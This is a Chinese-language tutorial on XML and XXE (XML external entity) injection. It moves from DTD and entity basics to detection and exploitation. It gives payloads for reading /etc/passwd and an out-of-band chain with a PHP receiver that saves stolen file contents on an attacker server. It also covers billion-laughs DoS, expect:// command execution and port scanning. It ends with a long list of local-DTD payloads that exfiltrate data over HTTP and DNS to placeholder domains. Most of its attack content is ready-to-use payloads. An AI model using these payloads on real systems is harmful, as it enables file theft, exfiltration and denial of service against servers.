第一阶段 (初识XML)
基础知识。
XML被设计为传输和存储数据，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具，简单来说XML主要是面向传输的。
什么是XML？
XML 指可扩展标记语言（EXtensible Markup Language）
XML 是一种标记语言，很类似 HTML
XML 的设计宗旨是传输数据，而非显示数据
XML 标签没有被预定义。您需要自行定义标签
XML 被设计为具有自我描述性
XML 是 W3C 的推荐标准
与HTML的对比
XML 不是 HTML 的替代
XML 和 HTML 为不同的目的而设计
XML 被设计为传输和存储数据，其焦点是数据的内容
HTML 被设计用来显示数据，其焦点是数据的外观
HTML 旨在显示信息，而 XML 旨在传输信息
XML文档结构
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
请看示例：
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>wecome</to>
<from>to</from>
<head>This wave is hacker</head>
<body>You are a good hacker</body>
</note>
DTD：
文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中（内部引用），也可作为一个外部引用。
DTD文档中有很多重要的关键字如下：
o DOCTYPE（DTD的声明）
o ENTITY（实体的声明）
o SYSTEM、PUBLIC（外部资源申请）
可以用如下语法引入外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
可以用如下语法引用内部DTD
<!DOCTYPE 根元素 [元素声明]>
实体：
实体可以理解为变量，其必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。
实体按类型主要分为以下四种：
o 内置实体 (Built-in entities)
o 字符实体 (Character entities)
o 通用实体 (General entities)
o 参数实体 (Parameter entities)
当然，如果实体根据引用方式，还可分为内部实体与外部实体。
完整的实体类别可参考 DTD - Entities
四种实体引用实例
内部实体：
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI">
参数实体：
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 "实体的值">
参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意：%name（参数实体）是在DTD中被引用的，而&name（其余实体）是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞，所以我们特别来分析外部实体
外部实体
定义
<!ENTITY 实体名称 SYSTEM "URI">
通过url可以引用哪些类型的外部实体？当然不同的程序语言，所支持的协议是不一样的
对照表：
案例演示：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE A [
<!ENTITY Config SYSTEM "file:///etc/passwd">]>
<foo>
<value>&Config;</value>
</foo>
第二阶段（浅谈xxe漏洞)
XXE漏洞介绍：
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞
XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害
xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。此类攻击可能包括使用file：方案或系统标识符中的本地路径公开本地文件，其中可能包含敏感数据，例如密码或私人用户数据。由于此类攻击是相对于处理XML文档的应用程序而发生的，因此攻击者可能会使用此受信任的应用程序转到其他内部系统，可能通过http(s)请求公开其他内部内容或启动CSRF攻击任何不受保护的内部服务。在某些情况下，可以通过取消引用恶意URI来利用容易受到客户端内存损坏问题影响的XML处理器库，从而可能允许在应用程序帐户下执行任意代码。其他攻击可以访问可能不会停止返回数据的本地资源，如果未释放太多线程或进程，也可能会影响应用程序的可用性。
注意：
该应用程序无需显式将响应返回给攻击者，因为它很容易受到信息泄露的影响。攻击者可以利用DNS信息通过子域名将数据泄漏到他们控制的DNS服务器。
第三阶段（发现xxe漏洞）
通过提交POST请求XML文件：
注意：
提交一个POST请求，请求头加上Content-type:application/xml
-
第一步，验证XML解析器是否解析和执行我们自定义的XML内容
发送payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "hacker">]>
<root>&name;</root>
如果服务器返回包成功解析了xml文档
将返回内容为hacker
- 第二步，是否支持外部实体的引用。
利用步骤：
- 自建web网站
- 在测试网站提交payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [<!ENTITY dtgmlf6ent SYSTEM "http://自己网站ip/文件名">]>
<GeneralSearch>&test;</GeneralSearch>
- 查看网站返回内容中是否带有自建网站文件中的内容
- 查看自建服务器访问日志，是否有DTD文件等请求
第四阶段（xxe漏洞利用）
- 任意文件读取：
Payload（有回显）
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root><name>&xxe;</name></root>
这里通过外带（OOB）的方法来检测（无回显）
①自建web服务器
②创建接受数据的文件readdata.php
<?php
file_put_contents("passwd.txt", $_GET['file']) ;
?>
③创建hacker.php来供外部实体引用
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd"> //被攻击的服务器
<!ENTITY % remote SYSTEM "http://localhost/hacker.xml"> //自建服务器
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
④创建hacker.xml
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/readdata.php?file=%file;'>">
当访问http://localhost/hacker.php, 存在漏洞的服务器会读出/etc/passwd内容，发送给攻击者服务器上的hacker.php，然后把读取的数据保存到本地的passwd.txt中。
- DOS攻击：
著名的“billion laughs”就是利用了XXE
通过递归调用
Payload
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
- 命令执行
php安装expect扩展可以直接执行系统命令，其他协议也有可能可以执行系统命令。
Payload
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE XXE
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>
- 端口扫描：
端口开放时会返回报错信息，端口不存在时会无法连接
Payload:
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http:/ip:port" >]>
<root>
<name>&XXE;</name
</root>
第五阶段（xxe爆破表）
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.yourdomain[.]com/"/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://xxe-xsi-nonamespaceschemalocation.yourdomain[.]com/"/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:include schemaLocation="http://xxe-xsinclude-schemalocation.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:include namespace="http://xxe-xsinclude-namespace.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:import schemaLocation="http://xxe-xsimport-schemalocation.yourdomain[.]com/"/></xs:schema>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"><xs:import namespace="http://xxe-xsimport-namespace.yourdomain[.]com/"/></xs:schema>
<?xml-stylesheet href="http://xxe-xml-stylesheet.yourdomain[.]com/"?><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-1.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\wmi20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-2.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Program Files (x86)\Lotus\Notes\domino.dtd"><!ENTITY % boolean '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-3.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd"><!ENTITY % onerrortypes '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-4.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-5.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % URI '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-6.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd"> <!ENTITY % Boolean '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-7.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-8.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-9.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-10.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/struts/struts-config_1_1.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-11.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/struts-config_1_2.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-12.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/gtksourceview-4/language-specs/language.dtd"> <!ENTITY % itemattrs '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-13.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib/gap/pkg/GAPDoc-1.6.2/bibxmlext.dtd"> <!ENTITY % n.InProceedings 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-14.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/boostbook/dtd/boostbook.dtd"> <!ENTITY % boost.common.attrib '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-15.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/lucene/main/lucene-queryparser-5.5.5.jar!/org/apache/lucene/queryparser/xml/LuceneCoreQuery.dtd"> <!ENTITY % queries 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-16.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///opt/jboss/wildfly/modules/system/layers/base/org/apache/xml-resolver/main/xml-resolver-1.2.jar!/org/apache/xml/resolver/etc/catalog.dtd"> <!ENTITY % publicIdentifier '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-17.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/nmap/nmap.dtd"> <!ENTITY % attr_numeric '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-18.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/liteide/liteeditor/kate/language.dtd"> <!ENTITY % commonAttributes '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-19.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgweather/locations.dtd"> <!ENTITY % name 'aaa)> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-20.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-server-operation.dtd"> <!ENTITY % paramlist-dtd ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-21.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/libgda-5.0/dtd/libgda-paramlist.dtd"> <!ENTITY % array-dtd ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-22.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/docutils/docutils.dtd"> <!ENTITY % measure '(aa) #IMPLIED> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-23.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/dblatex/schema/dblatex-config.dtd"> <!ENTITY % attlist.modname '> <!ENTITY % file SYSTEM "http://exfil-xxe-payload-24.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd"> <!ENTITY % block "xxx" > <!ENTITY % common ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-25.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/tomcat/lib/servlet-api.jar!/javax/servlet/resources/XMLSchema.dtd"> <!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM "http://exfil-xxe-payload-26.yourdomain[.]com"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file "dns-exfil-1"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\wmi20.dtd"> <!ENTITY % CIMName '> <!ENTITY % file "dns-exfil-2"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Program Files (x86)\Lotus\Notes\domino.dtd"><!ENTITY % boolean '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-3"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\xwizard.dtd"><!ENTITY % onerrortypes '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-4"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa ' <!ENTITY % file "dns-exfil-5"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; '> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % URI '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-6"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "jar:///usr/local/tomcat/lib/tomcat-coyote.jar!/org/apache/tomcat/util/modeler/mbeans-descriptors.dtd"> <!ENTITY % Boolean '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-7"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '> <!ENTITY % file "dns-exfil-8"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file "dns-exfil-9"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % constant 'aaa)> <!ENTITY % file "dns-exfil-10"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/struts/struts-config_1_1.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-11"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///u01/oracle/wlserver/server/lib/consoleapp/webapp/WEB-INF/struts-config_1_2.dtd"> <!ENTITY % AttributeName '(aa) #IMPLIED> <!ENTITY % file "dns-exfil-12"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ATTLIST attxx aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/gtksourceview-4/language-specs/language.dtd"> <!ENTITY % itemattrs '> <!ENTITY % file "dns-exfil-13"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/lib/gap/pkg/GAPDoc-1.6.2/bibxmlext.dtd"> <!ENTITY % n.InProceedings 'aaa)> <!ENTITY % file "dns-exfil-14"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message></message>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/boostbook/dtd/boostbook.dtd"> <!ENTITY % boost.common.attrib '> <!ENTITY % file "dns-exfil-15"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://%file;.yourdomain[.]com/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'> %local_dtd;]><message></message>
